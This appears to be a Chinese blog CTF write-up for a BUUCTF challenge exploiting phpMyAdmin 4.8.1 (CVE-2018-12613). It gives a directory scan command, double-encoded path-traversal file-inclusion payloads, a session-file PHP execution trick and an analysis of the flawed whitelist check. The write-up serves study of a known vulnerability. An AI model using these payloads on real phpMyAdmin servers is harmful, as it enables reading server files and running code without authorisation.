BUU- [GWCTF 2019]

Welcome to Shmily-ing’blog!

phpmyadmin (CVE-2018-12613)任意文件包含漏洞。影响版本4.8.0–4.8.1

打开网页,神马也不是。

image-20200925180115693

F12没有信息,直接扫网站后台

python dirsearch.py -u http://10b9238b-d123-4f63-891c-33ce01e55ca1.node3.buuoj.cn/ -e * -s 0.05

刚开始没有扫出来,全是429,可能太快了, 就在后面加了个 -s 延迟一下

image-20200925230015691

发现phpmyadmin ,phpinfo.php(没信息)

直接进入数据库。查看版本4.8.1

然后就百度该版本漏洞,发现有 任意文件包含和任意代码执行漏洞

CVE-2018-12613 phpMyAdmin远程文件包含漏洞

传入?target=db_datadict.php%253f%253f开始服务器自动解码一次为%3f,然后urldecode函数再解码一次为?,则满足截取?之前的内容在白名单中,返回true。而在index.php中只解码一次为db_datadict.php%3f

目录穿越,任意文件包含pyload:

?target=db_sql.php%253f/../../../../../../../../flag

image-20200926122420288

  • session 进行 php 代码执行(session 文件中中记录了执行的操作)

​ 具体方法:SELECT ‘ <?php phpinfo()?> ‘ ;

image-20200926120643739

然后查看session值,

?target=db_sql.php%253f/../../../../../../../../tmp/sess_fal9idhffq4t112qfa86k5kbo1

可以搜索flag。(没成功)

  • 网上说写入后门(本题好像不太行,因为没有写入权限),本地搭建的话可以实现。

image-20200926122045439

后台gertshell

参考博客


漏洞代码分析

​ target 出事了, 满足if判断 即可促发include

1
2
3
4
5
6
7
8
9
10
11
// If we have a valid target, let's load that script instead
if (
! empty($_REQUEST['target']) //不为空
&& is_string($_REQUEST['target']) //是字符串
&& ! preg_match('/^index/', $_REQUEST['target']) //不以index开头
&& ! in_array($_REQUEST['target'], $target_blacklist) //不在$target_blacklist中
&& Core::checkPageValidity($_REQUEST['target']) //要返回真
) {
include $_REQUEST['target'];
exit;
}

​ $target_blacklist,target参数黑名单

1
2
3
4
5

$target_blacklist = array (
'import.php', 'export.php'
);

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36

public static function checkPageValidity(&$page, array $whitelist = [])
{
if (empty($whitelist)) {
$whitelist = self::$goto_whitelist;
}
if (! isset($page) || !is_string($page)) {
return false;
}

if (in_array($page, $whitelist)) {
return true;
}

$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}

$_page = urldecode($page); //解码,
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}

return false;
}

$whitelist一开始未传参过来,所以会被赋值为self::$goto_whitelist

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
public static $goto_whitelist = array(
'db_datadict.php',
'db_sql.php',
'db_events.php',
'db_export.php',
'db_importdocsql.php',
'db_multi_table_query.php',
'db_structure.php',
'db_import.php',
'db_operations.php',
'db_search.php',
'db_routines.php',
'export.php',
'import.php',
'index.php',
'pdf_pages.php',
'pdf_schema.php',
'server_binlog.php',
'server_collations.php',
'server_databases.php',
'server_engines.php',
'server_export.php',
'server_import.php',
'server_privileges.php',
'server_sql.php',
'server_status.php',
'server_status_advisor.php',
'server_status_monitor.php',
'server_status_queries.php',
'server_status_variables.php',
'server_variables.php',
'sql.php',
'tbl_addfield.php',
'tbl_change.php',
'tbl_create.php',
'tbl_import.php',
'tbl_indexes.php',
'tbl_sql.php',
'tbl_export.php',
'tbl_operations.php',
'tbl_structure.php',
'tbl_relation.php',
'tbl_replace.php',
'tbl_row_action.php',
'tbl_select.php',
'tbl_zoom_select.php',
'transformation_overview.php',
'transformation_wrapper.php',
'user_password.php',
);

如果$page在白名单中就会直接return true,但这里考虑到了可能带参数的情况

mb_substr ( string $str , int $start [, int $length = NULL [, string $encoding = mb_internal_encoding() ]] ) : string

根据字符数执行一个多字节安全的 substr() 操作。 位置是从 str 的开始位置进行计数。 第一个字符的位置是 0。第二个字符的位置是 1,以此类推。

$_page是取出$page问号前的东西,是考虑到target有参数的情况,只要$_page在白名单中就直接return true
但还考虑了url编码的情况,所以如果这步判断未成功,下一步又进行url解码.

所以传入二次编码后的内容,会让checkPageValidity()这个函数返回true,但index中实际包含的内容却不是白名单中的文件

例如传入
?target=db_datadict.php%253f
由于服务器会自动解码一次,所以在checkPageValidity()中,$page的值一开始会是db_datadict.php%3f,又一次url解码后变成了db_datadict.php?,这次便符合了?前内容在白名单的要求,函数返回true
但在index.php中$_REQUEST[‘target’]仍然是db_datadict.php%3f,而且会被include,通过目录穿越,就可造成任意文件包含

  • Copyrights © 2020-2023 Shmily-ing
  • Visitors: | Views:

请我喝杯咖啡吧~

支付宝
微信